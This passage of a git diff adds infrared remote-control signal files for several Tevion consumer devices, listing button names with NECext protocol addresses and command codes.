+command: 2C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2D 00 00 00 +# +name: TV/Radio +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2F 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir new file mode 100644 index 000000000..2476dc72a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir @@ -0,0 +1,344 @@ +Filetype: IR signals file +Version: 1 +# +name: DV/USB +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 00 00 00 00 +# +name: HDD/Dub +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 01 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 02 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 03 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 07 00 00 00 +# +name: Quality +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 08 00 00 00 +# +name: Erase +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 09 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 0A 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 0B 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 0C 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 0D 00 00 00 +# +name: PS/IS +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 0E 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 10 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 11 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 12 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 14 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 15 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 16 00 00 00 +# +name: Up_Arrow +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 17 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 18 00 00 00 +# +name: FB +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 19 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 1A 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 1B 00 00 00 +# +name: Sort/Slow +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 1C 00 00 00 +# +name: Program +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 1D 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 1E 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 1F 00 00 00 +# +name: TimeShift +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 40 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 41 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 42 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 43 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 45 00 00 00 +# +name: Disc_OP +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 46 00 00 00 +# +name: Finalize +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 48 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 49 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 4A 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 4B 00 00 00 +# +name: Random +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 4C 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 4D 00 00 00 +# +name: Right_Arrow +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 4E 00 00 00 +# +name: Add/Clear +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 4F 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 51 00 00 00 +# +name: Down_Arrow +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 52 00 00 00 +# +name: Pause/Step +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 54 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 55 00 00 00 +# +name: Left_Arrow +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 56 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 57 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 58 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 59 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 5A 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 5B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 5C 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 5D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 5E 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir new file mode 100644 index 000000000..1778b95cd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir @@ -0,0 +1,332 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 00 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 01 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 02 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 03 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 07 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 08 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 09 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 0A 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 0B 00 00 00 +# +name: GoTo +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 0C 00 00 00 +# +name: PS/IS +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 0D 00 00 00 +# +name: Scan +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 0E 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 0F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 10 00 00 00 +# +name: Pause/Step +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 11 00 00 00 +# +name: DiskOper +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 14 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 15 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 16 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 17 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 19 00 00 00 +# +name: Nav +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 1A 00 00 00 +# +name: AddClear +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 1B 00 00 00 +# +name: Erase +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 1C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 1E 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 1F 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 40 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 41 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 42 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 43 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 45 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 46 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 48 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 49 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 4A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 4B 00 00 00 +# +name: Random +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 4C 00 00 00 +# +name: DV +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 4D 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 4E 00 00 00 +# +name: Prog +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 4F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 51 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 52 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 54 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 55 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 56 00 00 00 +# +name: Rev +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 57 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 58 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 59 00 00 00 +# +name: tIMER +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 5A 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 5B 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 5D 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 5E 00 00 00 +# +name: Finalize +type: parsed +protocol: NECext +address: 00 9F 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir new file mode 100644 index 000000000..86d2c1c9d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: PRG +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 00 00 00 00 +# +name: Up_Arrow +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 01 00 00 00 +# +name: SlowR +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 02 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 03 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 04 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 06 00 00 00 +# +name: Pause/Step +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 07 00 00 00 +# +name: CLR +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 08 00 00 00 +# +name: Down_Arrow +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 09 00 00 00 +# +name: SlowF +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 0A 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 0B 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 0D 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 0E 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 0F 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 10 00 00 00 +# +name: Right_Arrow +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 11 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 13 00 00 00 +# +name: F.FWD +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 14 00 00 00 +# +name: Mark +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 15 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 17 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 18 00 00 00 +# +name: Left_Arrow +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 19 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 1A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 1B 00 00 00 +# +name: F.RWD +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 1C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 1D 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 40 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 41 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 42 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 43 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 45 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 46 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 47 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 48 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 49 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 4A 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 4B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 4D 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 4E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 3F 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir new file mode 100644 index 000000000..888283223 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: Equaliser +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: Right_Arrow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: Up_Arrow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: Down_Arrow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: Left_Arrow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: L/R +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: Step +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: PBC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: N/P +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: Random +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: Mark +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: Program +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: Scan_Mode +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir new file mode 100644 index 000000000..16960666c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: purple +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 00 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 12 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 13 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 14 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 15 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 17 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 18 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 19 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 19 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1A 00 00 00 +# +name: vt+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1F 00 00 00 +# +name: vton +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 22 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 28 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2D 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 31 00 00 00 +# +name: vtscreen +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 31 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3A 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 40 00 00 00 +# +name: vtsize +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 40 00 00 00 +# +name: ent +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 43 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 43 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 55 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 59 00 00 00 +# +name: vtsplit +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 59 00 00 00 +# +name: showview +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 60 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 63 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir new file mode 100644 index 000000000..6d78e5233 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 02 00 00 00 +# +name: TVMix +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 03 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 04 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 09 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 0B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 0E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 0F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 11 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 12 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 17 69 00 00 